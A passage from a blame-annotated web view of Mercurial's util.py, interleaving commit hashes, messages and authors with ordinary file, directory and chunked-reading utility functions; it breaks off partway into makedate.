def tryunlink(f):
6d5b77abf306 util: add tryunlink function
Ryan McElroy <rmcelroy@fb.com>
parents: 31539
diff changeset
  2130
    """Attempt to remove a file, ignoring ENOENT errors."""
6d5b77abf306 util: add tryunlink function
Ryan McElroy <rmcelroy@fb.com>
parents: 31539
diff changeset
  2131
    try:
6d5b77abf306 util: add tryunlink function
Ryan McElroy <rmcelroy@fb.com>
parents: 31539
diff changeset
  2132
        unlink(f)
6d5b77abf306 util: add tryunlink function
Ryan McElroy <rmcelroy@fb.com>
parents: 31539
diff changeset
  2133
    except OSError as e:
6d5b77abf306 util: add tryunlink function
Ryan McElroy <rmcelroy@fb.com>
parents: 31539
diff changeset
  2134
        if e.errno != errno.ENOENT:
6d5b77abf306 util: add tryunlink function
Ryan McElroy <rmcelroy@fb.com>
parents: 31539
diff changeset
  2135
            raise
6d5b77abf306 util: add tryunlink function
Ryan McElroy <rmcelroy@fb.com>
parents: 31539
diff changeset
  2136
18938
e22107cff6bf util: add notindexed optional parameter to makedirs function
Angel Ezquerra <angel.ezquerra@gmail.com>
parents: 18930
diff changeset
  2137
def makedirs(name, mode=None, notindexed=False):
29017
07be86828e79 util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents: 28883
diff changeset
  2138
    """recursive directory creation with parent mode inheritance
07be86828e79 util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents: 28883
diff changeset
  2139
07be86828e79 util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents: 28883
diff changeset
  2140
    Newly created directories are marked as "not to be indexed by
07be86828e79 util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents: 28883
diff changeset
  2141
    the content indexing service", if ``notindexed`` is specified
07be86828e79 util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents: 28883
diff changeset
  2142
    for "write" mode access.
07be86828e79 util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents: 28883
diff changeset
  2143
    """
6062
3c3b126e5619 Make files in .hg inherit the permissions from .hg/store
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 6007
diff changeset
  2144
    try:
18938
e22107cff6bf util: add notindexed optional parameter to makedirs function
Angel Ezquerra <angel.ezquerra@gmail.com>
parents: 18930
diff changeset
  2145
        makedir(name, notindexed)
25660
328739ea70c3 global: mass rewrite to use modern exception syntax
Gregory Szorc <gregory.szorc@gmail.com>
parents: 25420
diff changeset
  2146
    except OSError as err:
6062
3c3b126e5619 Make files in .hg inherit the permissions from .hg/store
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 6007
diff changeset
  2147
        if err.errno == errno.EEXIST:
3c3b126e5619 Make files in .hg inherit the permissions from .hg/store
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 6007
diff changeset
  2148
            return
15058
81f33be0ea79 util: postpone and reorder parent calculation in makedirs
Adrian Buehlmann <adrian@cadifra.com>
parents: 15057
diff changeset
  2149
        if err.errno != errno.ENOENT or not name:
81f33be0ea79 util: postpone and reorder parent calculation in makedirs
Adrian Buehlmann <adrian@cadifra.com>
parents: 15057
diff changeset
  2150
            raise
81f33be0ea79 util: postpone and reorder parent calculation in makedirs
Adrian Buehlmann <adrian@cadifra.com>
parents: 15057
diff changeset
  2151
        parent = os.path.dirname(os.path.abspath(name))
81f33be0ea79 util: postpone and reorder parent calculation in makedirs
Adrian Buehlmann <adrian@cadifra.com>
parents: 15057
diff changeset
  2152
        if parent == name:
6062
3c3b126e5619 Make files in .hg inherit the permissions from .hg/store
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 6007
diff changeset
  2153
            raise
18938
e22107cff6bf util: add notindexed optional parameter to makedirs function
Angel Ezquerra <angel.ezquerra@gmail.com>
parents: 18930
diff changeset
  2154
        makedirs(parent, mode, notindexed)
29017
07be86828e79 util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents: 28883
diff changeset
  2155
        try:
07be86828e79 util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents: 28883
diff changeset
  2156
            makedir(name, notindexed)
07be86828e79 util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents: 28883
diff changeset
  2157
        except OSError as err:
07be86828e79 util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents: 28883
diff changeset
  2158
            # Catch EEXIST to handle races
07be86828e79 util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents: 28883
diff changeset
  2159
            if err.errno == errno.EEXIST:
07be86828e79 util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents: 28883
diff changeset
  2160
                return
07be86828e79 util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents: 28883
diff changeset
  2161
            raise
18678
423eee0b0b14 util: make ensuredirs safer against races
Bryan O'Sullivan <bryano@fb.com>
parents: 18668
diff changeset
  2162
    if mode is not None:
423eee0b0b14 util: make ensuredirs safer against races
Bryan O'Sullivan <bryano@fb.com>
parents: 18668
diff changeset
  2163
        os.chmod(name, mode)
18668
4034b8d551b1 scmutil: create directories in a race-safe way during update
Bryan O'Sullivan <bryano@fb.com>
parents: 18614
diff changeset
  2164
14099
0824a0a3cefc util: add readfile() & writefile() helper functions
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents: 14077
diff changeset
  2165
def readfile(path):
27778
4d10600c3f08 util: simplify file I/O functions using context managers
Bryan O'Sullivan <bryano@fb.com>
parents: 27768
diff changeset
  2166
    with open(path, 'rb') as fp:
14100
3e9e02a41dfb util: really drop size from readfile
Matt Mackall <mpm@selenic.com>
parents: 14099
diff changeset
  2167
        return fp.read()
14099
0824a0a3cefc util: add readfile() & writefile() helper functions
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents: 14077
diff changeset
  2168
14167
0e4753807c93 util & scmutil: adapt read/write helpers as request by mpm
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents: 14147
diff changeset
  2169
def writefile(path, text):
27778
4d10600c3f08 util: simplify file I/O functions using context managers
Bryan O'Sullivan <bryano@fb.com>
parents: 27768
diff changeset
  2170
    with open(path, 'wb') as fp:
14167
0e4753807c93 util & scmutil: adapt read/write helpers as request by mpm
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents: 14147
diff changeset
  2171
        fp.write(text)
0e4753807c93 util & scmutil: adapt read/write helpers as request by mpm
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents: 14147
diff changeset
  2172
0e4753807c93 util & scmutil: adapt read/write helpers as request by mpm
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents: 14147
diff changeset
  2173
def appendfile(path, text):
27778
4d10600c3f08 util: simplify file I/O functions using context managers
Bryan O'Sullivan <bryano@fb.com>
parents: 27768
diff changeset
  2174
    with open(path, 'ab') as fp:
14099
0824a0a3cefc util: add readfile() & writefile() helper functions
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents: 14077
diff changeset
  2175
        fp.write(text)
0824a0a3cefc util: add readfile() & writefile() helper functions
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents: 14077
diff changeset
  2176
1199
78ceaf83f28f Created a class in util called chunkbuffer that buffers reads from an
Eric Hopper <hopper@omnifarious.org>
parents: 1169
diff changeset
  2177
class chunkbuffer(object):
78ceaf83f28f Created a class in util called chunkbuffer that buffers reads from an
Eric Hopper <hopper@omnifarious.org>
parents: 1169
diff changeset
  2178
    """Allow arbitrary sized chunks of data to be efficiently read from an
78ceaf83f28f Created a class in util called chunkbuffer that buffers reads from an
Eric Hopper <hopper@omnifarious.org>
parents: 1169
diff changeset
  2179
    iterator over chunks of arbitrary size."""
1200
333de1d53846 Minor cleanups.
Bryan O'Sullivan <bos@serpentine.com>
parents: 1199
diff changeset
  2180
5446
fa836e050c50 chunkbuffer: removed unused method and arg
Matt Mackall <mpm@selenic.com>
parents: 5420
diff changeset
  2181
    def __init__(self, in_iter):
32123
5f53c267e362 util: remove doc of long gone 'targetsize' argument
Martin von Zweigbergk <martinvonz@google.com>
parents: 31952
diff changeset
  2182
        """in_iter is the iterator that's iterating over the input chunks."""
11670
1b3b843e1100 chunkbuffer: split big strings directly in chunkbuffer
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 11668
diff changeset
  2183
        def splitbig(chunks):
1b3b843e1100 chunkbuffer: split big strings directly in chunkbuffer
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 11668
diff changeset
  2184
            for chunk in chunks:
1b3b843e1100 chunkbuffer: split big strings directly in chunkbuffer
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 11668
diff changeset
  2185
                if len(chunk) > 2**20:
1b3b843e1100 chunkbuffer: split big strings directly in chunkbuffer
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 11668
diff changeset
  2186
                    pos = 0
1b3b843e1100 chunkbuffer: split big strings directly in chunkbuffer
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 11668
diff changeset
  2187
                    while pos < len(chunk):
1b3b843e1100 chunkbuffer: split big strings directly in chunkbuffer
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 11668
diff changeset
  2188
                        end = pos + 2 ** 18
1b3b843e1100 chunkbuffer: split big strings directly in chunkbuffer
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 11668
diff changeset
  2189
                        yield chunk[pos:end]
1b3b843e1100 chunkbuffer: split big strings directly in chunkbuffer
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 11668
diff changeset
  2190
                        pos = end
1b3b843e1100 chunkbuffer: split big strings directly in chunkbuffer
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 11668
diff changeset
  2191
                else:
1b3b843e1100 chunkbuffer: split big strings directly in chunkbuffer
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 11668
diff changeset
  2192
                    yield chunk
1b3b843e1100 chunkbuffer: split big strings directly in chunkbuffer
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 11668
diff changeset
  2193
        self.iter = splitbig(in_iter)
25113
0ca8410ea345 util: drop alias for collections.deque
Martin von Zweigbergk <martinvonz@google.com>
parents: 25112
diff changeset
  2194
        self._queue = collections.deque()
26480
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26479
diff changeset
  2195
        self._chunkoffset = 0
1200
333de1d53846 Minor cleanups.
Bryan O'Sullivan <bos@serpentine.com>
parents: 1199
diff changeset
  2196
21018
c848bfd02366 util: support None size in chunkbuffer.read()
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 20835
diff changeset
  2197
    def read(self, l=None):
1200
333de1d53846 Minor cleanups.
Bryan O'Sullivan <bos@serpentine.com>
parents: 1199
diff changeset
  2198
        """Read L bytes of data from the iterator of chunks of data.
21018
c848bfd02366 util: support None size in chunkbuffer.read()
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 20835
diff changeset
  2199
        Returns less than L bytes if the iterator runs dry.
c848bfd02366 util: support None size in chunkbuffer.read()
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 20835
diff changeset
  2200
23139
e53f6b72a0e4 spelling: fixes from proofreading of spell checker issues
Mads Kiilerich <madski@unity3d.com>
parents: 23097
diff changeset
  2201
        If size parameter is omitted, read everything"""
26478
a3f7e5461dbd util.chunkbuffer: special case reading everything
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26450
diff changeset
  2202
        if l is None:
a3f7e5461dbd util.chunkbuffer: special case reading everything
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26450
diff changeset
  2203
            return ''.join(self.iter)
a3f7e5461dbd util.chunkbuffer: special case reading everything
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26450
diff changeset
  2204
11758
a79214972da2 chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents: 11469
diff changeset
  2205
        left = l
17962
4c29668ca316 util: make chunkbuffer non-quadratic on Windows
Matt Mackall <mpm@selenic.com>
parents: 17560
diff changeset
  2206
        buf = []
16873
37e081609828 util: simplify queue management in chunkbuffer
Bryan O'Sullivan <bryano@fb.com>
parents: 16834
diff changeset
  2207
        queue = self._queue
26478
a3f7e5461dbd util.chunkbuffer: special case reading everything
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26450
diff changeset
  2208
        while left > 0:
11758
a79214972da2 chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents: 11469
diff changeset
  2209
            # refill the queue
a79214972da2 chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents: 11469
diff changeset
  2210
            if not queue:
a79214972da2 chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents: 11469
diff changeset
  2211
                target = 2**18
a79214972da2 chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents: 11469
diff changeset
  2212
                for chunk in self.iter:
a79214972da2 chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents: 11469
diff changeset
  2213
                    queue.append(chunk)
a79214972da2 chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents: 11469
diff changeset
  2214
                    target -= len(chunk)
a79214972da2 chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents: 11469
diff changeset
  2215
                    if target <= 0:
a79214972da2 chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents: 11469
diff changeset
  2216
                        break
a79214972da2 chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents: 11469
diff changeset
  2217
                if not queue:
1199
78ceaf83f28f Created a class in util called chunkbuffer that buffers reads from an
Eric Hopper <hopper@omnifarious.org>
parents: 1169
diff changeset
  2218
                    break
11758
a79214972da2 chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents: 11469
diff changeset
  2219
26480
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26479
diff changeset
  2220
            # The easy way to do this would be to queue.popleft(), modify the
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26479
diff changeset
  2221
            # chunk (if necessary), then queue.appendleft(). However, for cases
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26479
diff changeset
  2222
            # where we read partial chunk content, this incurs 2 dequeue
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26479
diff changeset
  2223
            # mutations and creates a new str for the remaining chunk in the
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26479
diff changeset
  2224
            # queue. Our code below avoids this overhead.
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26479
diff changeset
  2225
26479
46143f31290e util.chunkbuffer: refactor chunk handling logic
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26478
diff changeset
  2226
            chunk = queue[0]
46143f31290e util.chunkbuffer: refactor chunk handling logic
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26478
diff changeset
  2227
            chunkl = len(chunk)
26480
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26479
diff changeset
  2228
            offset = self._chunkoffset
26479
46143f31290e util.chunkbuffer: refactor chunk handling logic
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26478
diff changeset
  2229
46143f31290e util.chunkbuffer: refactor chunk handling logic
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26478
diff changeset
  2230
            # Use full chunk.
26480
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26479
diff changeset
  2231
            if offset == 0 and left >= chunkl:
26479
46143f31290e util.chunkbuffer: refactor chunk handling logic
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26478
diff changeset
  2232
                left -= chunkl
46143f31290e util.chunkbuffer: refactor chunk handling logic
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26478
diff changeset
  2233
                queue.popleft()
46143f31290e util.chunkbuffer: refactor chunk handling logic
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26478
diff changeset
  2234
                buf.append(chunk)
26480
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26479
diff changeset
  2235
                # self._chunkoffset remains at 0.
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26479
diff changeset
  2236
                continue
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26479
diff changeset
  2237
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26479
diff changeset
  2238
            chunkremaining = chunkl - offset
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26479
diff changeset
  2239
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26479
diff changeset
  2240
            # Use all of unconsumed part of chunk.
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26479
diff changeset
  2241
            if left >= chunkremaining:
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26479
diff changeset
  2242
                left -= chunkremaining
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26479
diff changeset
  2243
                queue.popleft()
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26479
diff changeset
  2244
                # offset == 0 is enabled by block above, so this won't merely
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26479
diff changeset
  2245
                # copy via ``chunk[0:]``.
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26479
diff changeset
  2246
                buf.append(chunk[offset:])
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26479
diff changeset
  2247
                self._chunkoffset = 0
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26479
diff changeset
  2248
26479
46143f31290e util.chunkbuffer: refactor chunk handling logic
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26478
diff changeset
  2249
            # Partial chunk needed.
46143f31290e util.chunkbuffer: refactor chunk handling logic
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26478
diff changeset
  2250
            else:
26480
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26479
diff changeset
  2251
                buf.append(chunk[offset:offset + left])
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26479
diff changeset
  2252
                self._chunkoffset += left
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26479
diff changeset
  2253
                left -= chunkremaining
11758
a79214972da2 chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents: 11469
diff changeset
  2254
17962
4c29668ca316 util: make chunkbuffer non-quadratic on Windows
Matt Mackall <mpm@selenic.com>
parents: 17560
diff changeset
  2255
        return ''.join(buf)
11758
a79214972da2 chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents: 11469
diff changeset
  2256
30181
7356e6b1f5b8 util: increase filechunkiter size to 128k
Mads Kiilerich <madski@unity3d.com>
parents: 30087
diff changeset
  2257
def filechunkiter(f, size=131072, limit=None):
2462
d610bcfd66a8 util: add limit to amount filechunkiter will read
Vadim Gelfer <vadim.gelfer@gmail.com>
parents: 2448
diff changeset
  2258
    """Create a generator that produces the data in the file size
30181
7356e6b1f5b8 util: increase filechunkiter size to 128k
Mads Kiilerich <madski@unity3d.com>
parents: 30087
diff changeset
  2259
    (default 131072) bytes at a time, up to optional limit (default is
2462
d610bcfd66a8 util: add limit to amount filechunkiter will read
Vadim Gelfer <vadim.gelfer@gmail.com>
parents: 2448
diff changeset
  2260
    to read all data).  Chunks may be less than size bytes if the
d610bcfd66a8 util: add limit to amount filechunkiter will read
Vadim Gelfer <vadim.gelfer@gmail.com>
parents: 2448
diff changeset
  2261
    chunk is the last chunk in the file, or the file is a socket or
d610bcfd66a8 util: add limit to amount filechunkiter will read
Vadim Gelfer <vadim.gelfer@gmail.com>
parents: 2448
diff changeset
  2262
    some other type of file that sometimes reads less data than is
d610bcfd66a8 util: add limit to amount filechunkiter will read
Vadim Gelfer <vadim.gelfer@gmail.com>
parents: 2448
diff changeset
  2263
    requested."""
d610bcfd66a8 util: add limit to amount filechunkiter will read
Vadim Gelfer <vadim.gelfer@gmail.com>
parents: 2448
diff changeset
  2264
    assert size >= 0
d610bcfd66a8 util: add limit to amount filechunkiter will read
Vadim Gelfer <vadim.gelfer@gmail.com>
parents: 2448
diff changeset
  2265
    assert limit is None or limit >= 0
d610bcfd66a8 util: add limit to amount filechunkiter will read
Vadim Gelfer <vadim.gelfer@gmail.com>
parents: 2448
diff changeset
  2266
    while True:
10282
08a0f04b56bd many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents: 10264
diff changeset
  2267
        if limit is None:
08a0f04b56bd many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents: 10264
diff changeset
  2268
            nbytes = size
08a0f04b56bd many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents: 10264
diff changeset
  2269
        else:
08a0f04b56bd many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents: 10264
diff changeset
  2270
            nbytes = min(limit, size)
2462
d610bcfd66a8 util: add limit to amount filechunkiter will read
Vadim Gelfer <vadim.gelfer@gmail.com>
parents: 2448
diff changeset
  2271
        s = nbytes and f.read(nbytes)
10282
08a0f04b56bd many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents: 10264
diff changeset
  2272
        if not s:
08a0f04b56bd many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents: 10264
diff changeset
  2273
            break
08a0f04b56bd many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents: 10264
diff changeset
  2274
        if limit:
08a0f04b56bd many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents: 10264
diff changeset
  2275
            limit -= len(s)
1199
78ceaf83f28f Created a class in util called chunkbuffer that buffers reads from an
Eric Hopper <hopper@omnifarious.org>
parents: 1169
diff changeset
  2276
        yield s
1320
5f277e73778f Fix up representation of dates in hgweb.
Bryan O'Sullivan <bos@serpentine.com>
parents: 1312
diff changeset
  2277
36362
01e29e885600 util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36266
diff changeset
  2278
class cappedreader(object):
01e29e885600 util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36266
diff changeset
  2279
    """A file object proxy that allows reading up to N bytes.
01e29e885600 util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36266
diff changeset
  2280
01e29e885600 util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36266
diff changeset
  2281
    Given a source file object, instances of this type allow reading up to
01e29e885600 util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36266
diff changeset
  2282
    N bytes from that source file object. Attempts to read past the allowed
01e29e885600 util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36266
diff changeset
  2283
    limit are treated as EOF.
01e29e885600 util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36266
diff changeset
  2284
01e29e885600 util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36266
diff changeset
  2285
    It is assumed that I/O is not performed on the original file object
01e29e885600 util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36266
diff changeset
  2286
    in addition to I/O that is performed by this instance. If there is,
01e29e885600 util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36266
diff changeset
  2287
    state tracking will get out of sync and unexpected results will ensue.
01e29e885600 util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36266
diff changeset
  2288
    """
01e29e885600 util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36266
diff changeset
  2289
    def __init__(self, fh, limit):
01e29e885600 util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36266
diff changeset
  2290
        """Allow reading up to <limit> bytes from <fh>."""
01e29e885600 util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36266
diff changeset
  2291
        self._fh = fh
01e29e885600 util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36266
diff changeset
  2292
        self._left = limit
01e29e885600 util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36266
diff changeset
  2293
01e29e885600 util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36266
diff changeset
  2294
    def read(self, n=-1):
01e29e885600 util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36266
diff changeset
  2295
        if not self._left:
01e29e885600 util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36266
diff changeset
  2296
            return b''
01e29e885600 util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36266
diff changeset
  2297
01e29e885600 util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36266
diff changeset
  2298
        if n < 0:
01e29e885600 util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36266
diff changeset
  2299
            n = self._left
01e29e885600 util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36266
diff changeset
  2300
01e29e885600 util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36266
diff changeset
  2301
        data = self._fh.read(min(n, self._left))
01e29e885600 util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36266
diff changeset
  2302
        self._left -= len(data)
01e29e885600 util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36266
diff changeset
  2303
        assert self._left >= 0
01e29e885600 util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36266
diff changeset
  2304
01e29e885600 util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36266
diff changeset
  2305
        return data
01e29e885600 util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents: 36266
diff changeset
  2306
19287
8b04e1344111 util: add an optional timestamp parameter to makedate
Bryan O'Sullivan <bryano@fb.com>
parents: 19286
diff changeset
  2307
def makedate(timestamp=None):
8b04e1344111 util: add an optional timestamp parameter to makedate
Bryan O'Sullivan <bryano@fb.com>
parents: 19286
diff changeset
  2308
    '''Return a unix timestamp (or the current time) as a (unixtime,
8b04e1344111 util: add an optional timestamp parameter to makedate
Bryan O'Sullivan <bryano@fb.com>
parents: 19286
diff changeset
  2309
    offset) tuple based off the local timezone.'''
8b04e1344111 util: add an optional timestamp parameter to makedate
Bryan O'Sullivan <bryano@fb.com>
parents: 19286
diff changeset
  2310
    if timestamp is None:
8b04e1344111 util: add an optional timestamp parameter to makedate
Bryan O'Sullivan <bryano@fb.com>
parents: 19286
diff changeset
  2311
        timestamp = time.time()
19286
78501209488a util: rename ct variable in makedate to timestamp
Bryan O'Sullivan <bryano@fb.com>
parents: 19211
diff changeset
  2312
    if timestamp < 0:
13063
e98581d44f0b makedate: abort on negative timestamps (issue2513)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13062
diff changeset
  2313
        hint = _("check your clock")
19286
78501209488a util: rename ct variable in makedate to timestamp
Bryan O'Sullivan <bryano@fb.com>
parents: 19211
diff changeset
  2314
        raise Abort(_("negative timestamp: %d") % timestamp, hint=hint)
78501209488a util: rename ct variable in makedate to timestamp
Bryan O'Sullivan <bryano@fb.com>
parents: 19211
diff changeset
  2315
    delta = (datetime.datetime.utcfromtimestamp(timestamp) -
